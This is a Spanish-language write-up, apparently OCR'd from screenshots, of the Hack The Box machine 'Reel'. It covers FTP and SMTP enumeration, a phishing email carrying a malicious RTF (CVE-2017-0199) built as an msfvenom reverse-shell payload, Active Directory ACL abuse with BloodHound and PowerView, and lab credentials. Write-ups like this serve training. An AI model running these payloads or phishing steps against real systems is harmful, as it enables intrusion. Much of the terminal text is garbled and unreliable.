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O- Introduccion

Reel es un CTF de categoria dificil que podemos encontrar en Hack The Box. Es una
maquina muy completa que entre otras cosas deberemos realizar un ataque de Phishing
para resolverla. Partiremos de unos documentos que encontraremos en un servicio FTP
con acceso andnimo, posteriormente crearemos un archivo RTF malicioso que
enviaremos a la maquina victima a través de un email malicioso y que explotara el equipo
victima. Una vez conectados a la maquina victima buscaremos entre los diferentes
usuarios y grupos la forma de escalar privilegios hasta llegar a administrador.

1- Enumeracion

1.1. NMAP
Como siempre, comenzamos realizando un escaneo de los servicios abiertos en el target.

P -p- —open -vvv 10.128.10.77 -oG allports
7-13 88:12 EDT

lapsed (65535 total ports)

ponse)
due to —defeat-rst-ratelimit

open ftp
open ssh

open smtp

share/nmap
) ned in

kaligkali

Y seguimos realizando un escaneo mas detallada Gnicamente de los puertos que estan
abiertos.

kaliakali sudo nmap -p 2 5 -V sVC 10.1@.1¢ -oN resultados

STATE SERVICE REASON VERSION

open ftp syn-ack ttl 127 Microsoft ftpd
open ssh syn-ack 27 OpensSSH 7.6 (protocol 2.0)
open smtp? 5y

A partir de los resultados de NMAP, se descubrieron tres puertos en la maquina destino:

- Puerto 21: FTP
- Puerto 22: SSH
- Puerto 25: SMTP

1.2. FTP
Vamos a comenzar por el servidor FTP. Vamos a comprobar si permite acceso remoto.

s

g2
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kalidkali tp 10.10.10.77
Connected to 10.10.108.77.
Microsoft FTP Ser 2
e (10.10.10.77:kali): anonymous
31 Anonymous access allowed, send identity (e-mail name) as
ssword:

ftp> dir
229 Entering Extended Passive Mode (|]]410

12:19AM <DIR>
226 Transfer complete.
ftp> cd documents
250 CWD command successful.
ftp> dir

229 Entering Extende ive Mode (|]]41001])
125 Data c already open; Transfer starting.
:19AM 2047 ApplLocker.docx
Q1PM 124 readme.txt
14581 Windows Event Forwarding.docx

Lready open; Transfer starting.
e e e e e e i vk s gk s e e e ok o e sk sk sk g g sk e e sk sk o sk sk sk e e e o o o s sk s e g b o e e e e e e ke e e de e e e e e

in ASCII mode.

1.40 KiB/s

1.2.1. Estudio de archivos encontrados

Comenzamos estudiando los metadatos de los archivos. Para ello, utilizaremos la
herramienta exiftool.




kaligkali
ExifTool Version Number
File Name
Directory
File Size
File Modification Date/Time
File Access Date/Time
File Inode Change Date/Time
File Permissions
File Type
i Type Extension
MIME Type
Zip Required Version
Bit Flag
Compression
Modify Date
CRC
Compressed Size
Uncompressed Size
File Name

Revision Number
Create Date

Modify Date

Template

Total Edit Time
Pages

Words

Characters

Application

Doc Security
Lines

Paragraphs

Scale Crop
Heading Pairs

Titles Of Parts
Company

Links Up To Date
Characters With Spaces
Shared Doc
Hyperlinks Changed

App Version
kaligkali

exiftool Windows\ Event\ Forwarding.docx

: 12.41
: Windows Event Forwarding.docx

: 14 KiB
:2017:10:31 17:13:23-04:00
1 2022:07:13 11:20:05-04:00

119:54-04:00

: application/vnd.openxmlformats-officedocument.wordprocessingml.document
: 20

: 0x0006

: Deflated

: 1980:01:01 00:00:00
: 0x82872409

: 385

1422

: [Content_Types].xml
:
H

: 2017:10:31 18:42:00Z
: 2017:10:31 18:51:00Z
: Normal.dotm

: 5 minutes

2

: 299

: 1709

: Microsoft Office Word
: None

14

H

: No

: Title, 1

Después de analizar los metadatos de los tres archivos, el Gnico dato interesante extraido
es un email del creador: nico@megabank.com.

Abrimos el archivo readme.txt

kaligkali
please email me any

new format /
kaligkali

cat readme.txt; echo

rtf format procedures - I'Ll review and con

converted documents will be saved here.

Puede ser una pista de cara a la explotacion que deberemos realizar posteriormente.

1.3.  SMTP

Hacemos telnet al puerto 25 del servidor para verificar si podemos obtener informacion
del servidor SMTP. Primero probaremos con usuarios aleatorios. Probamos los usuarios
elhackeretico.com, elhackeretico@elhackeretico.com., que nos reporta 250 OK, que
resulta extrafio. Entonces utilizamos el email que encontramos anteriormente,
nico@megabank.com, que también resuelve con un 250 OK. Entonces volvemos a probar
con elhackeretico@megabank.com que resuelve con cédigo 550 de usuario desconocido.
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mailto:elhackeretico@elhackeretico.com
mailto:nico@megabank.com
mailto:elhackeretico@megabank.com

reconocido por el sistema.

kaligkali
Trying 18.18.18.77 ...
Connected to 190.10.18.77.
cape character is '*]'.
ice ready
etico.com

T TO:nico@megabank.com
258 0K
RCPT TO: elhat
55@ Unknown

2- Explotacion

Entonces, a partir de esto podemos suponer que el servidor solo verifica los usuarios con
el dominio megabank. También sabemos. Que nico@megabank.com es un usuario

telnet 19.10.10.77 25

Una vez tenemos un correo electronico valido, vamos a buscar informacion sobre los

archivos rtf maliciosos como se indicaba en el archivo readme.txt. Después de realizar la 5

busqueda en Google, obtenemos un CVE-2017-0199.

2.1. Pasos para la explotacion

1- Primero creamos un archiv HTA. Para ello, utilizamos msfvenom

chivo.hta -t rtf -x @

WS msfvenom -p windows/shell_reverse_tcp LHOST=10.10.

s from the payload

BEEETSS) python2 cve-2017-0199_toolkit.py -M gen -w archive

) U master Q)



mailto:nico@megabank.com
https://github.com/bhdresh/CVE-2017-0199

kaligkali rlwrap nc -lnvp 8080
listening on [any] 8008 ...

4- Finalmente, solo tendremos que enviar un correo al usuario nico@megabank.com,
que es un usuario valido del sistema.

) I master JETULE tic om -t nico@me

bank.com -u "Email te es el informe que me solicitd

-AUTH LOGIN PLAIN, 2
retico@megabank.com>

bank.com>

i sendEmail
i sendEmail[11
[Email impo

htb\nico

hostname
hostname
REEL

indowshsysten

Ahora tengo Shell reversa como usuario nico, que no pertenece al grupo de
administradores, tendremos que pivotar a usuarios con mayores privilegios.

2.2. Usuario Tom
Vamos al directorio del usuario nico, para ver su contenido.
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cd \Users\nico\Desktop

dir

dir
Volume in drive C has no label
Volume Serial Number is

Tendriamos la flag user.txt, solo habria que abrir el contenido del archivo y copiar la flag.

Otro archivo que puede ser interesante es cred.xml.

Pudimos recopilar la siguiente informacion:

- Nombre de usuario: Tom
- Contrasefia: encriptada

Ahora debemos convertir la contrasefia encriptada a texto plano para poder utilizarla. El
siguiente recurso puede ser Util.

powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | format-list

secureString
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https://mcpmag.com/articles/2017/07/20/save-and-read-sensitive-data-with-powershell.aspx?m=1

Ya tenemos el par usuario:contrasefia, tom:1ts-maglc!!!

Sabiendo esto, y recordando que el puerto 22, SSH, esta abierto, vamos a iniciar sesion
en este servicio con las credenciales anteriores.

ssh tom@l@.10 77
ity of host B.1@. 0.18.77)"' ca : tablished.

y is not known by any other names
you sure you want to continue connecting (yes/no,
i Perm = ( 3519) to the list of known

ndows
Microsoft Corporation. All rights rese:

tom@REEL C:\Users'tom=|

PM
AM
: PM
1 Fil

has n
rial Number is

tom@REEL ¢ el m\Desktoph

m\Deskto

ls.csv
dHound.bin
dHound_01d.ps1
ship.csv

tom@REEL ¢




Después de realizar un recorrido por los directorios mas interesante, llegamos al directorio
Ingestors, que contiene lo que parecen archivos de una auditoria y los ejecutables de
varios ingestors. Tenemos el archivo acls.csv que es un archivo que puede contener
informacion interesante. Descargamos en nuestra maquina este archivo para analizarlo.
Para ello creamos un servidor SMB con impacket-smbserver.

kalipkali impacket-smbserver reel “pwd  -smb2support

ecureAuth Corporation

r UUID 4
r UUID &

55de%6d

%410.10.16.2N\reell

tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>j]

Abrimos el archivo con libre office. El archivo contiene un reporte de BloodHound, con
informacion del sistema. Dentro de este archivo buscamos al usuario tom, para ver que
privilegios tiene. Vemos que tiene privilegios WriteOwner sobre el usuario claire, con lo
que podemos cambiar su contrasefia y conectarnos utilizando este usuario. Para ello,
utilizamos el script powerview.ps1.

ResetPassword

word” with
rd length,

*Nota: La nueva contrasefia debe contener mayusculas y nimeros.

A continuacién, nos conectamos al usuario claire con la nueva contrasefia.

2.3. Usuario claire

Volvemos al archivo acls.csv. Ahora buscamos al usuario claire y que privilegios tiene.
Vemos que nos podemos afiadir al grupo Backup_Admins porque tenemos el privilegio
WriteDACL.

claire@REEL C:‘\Usershclaire>ns ackup_Admins claire /add
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claire@REEL C:\Users\claire\Desktop>net group backup_admins

Group name lackup_Admins
Comment

Members

claire ranj
The command completed successfully.

3- Escalada de privilegios

Dado que ahora Claire es miembro de backup_admins, vamos a enumerar el sistema. No
podremos leer la flag pero podemos ver contenido en Backup Scripts.

claire@REEL C:\Users‘Administrator\Desktoph\Backup Scripts>dir
Volume in drive C has no la .
Volume Serial Number is CCBA-33E1

Directory of C:\Users\Administrator‘\Desktop\Backup Scripts

<DIR>
<DIR> o
45 backup.psl

backupl.psl
BackupScript.psl
BackupScript.zip
folders-system-state.txt
test2. psl.tx

) 11, by

2 Dir(s) 15,761,367,040 byte

Descubrimos la contrasefia de administrator en el script BackupScript.ps1

C:ZUsers‘Administrator\Desktop\Backup Scripts> get-content BackupScript.psl
# admin password

$password="Cri4ckMeIfYouC4n!"

Las credenciales son administrator:CrdckMelfYouC4n!

3.1. Inicio de sesiéon como administrator

Como tenemos la contrasefia de usuario administrador en texto plano, usamos SSH para
iniciar sesion como administrator. Buscamos la flag root y ya tendremos acabada la
maquina.

s

g2
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lume Serial Number is

\UsershAdministrator

<DIR>
<DIR> .
<DIR> .config
<DIR> .oracle_jre_usage
<DIR> Contacts
<DIR> (top
<DIR> Documents
<DIR> Downloads
<DIR> Favorites
<DIR> Links
<DIR> Music
<DIR> OneDri
<DIR> i
<DIR>
<DIR>
<DIR>
File(s)
16 Dir(s)

Users\Adminis
Volume in drive C has no label.
Volume Serial Number is C

\UsershAdministrator\Desktop

<DIR>

<DIR> .

<DIR> Backup 5
root.txt

byte

administra ] C:h ] h root
1818:
adminis
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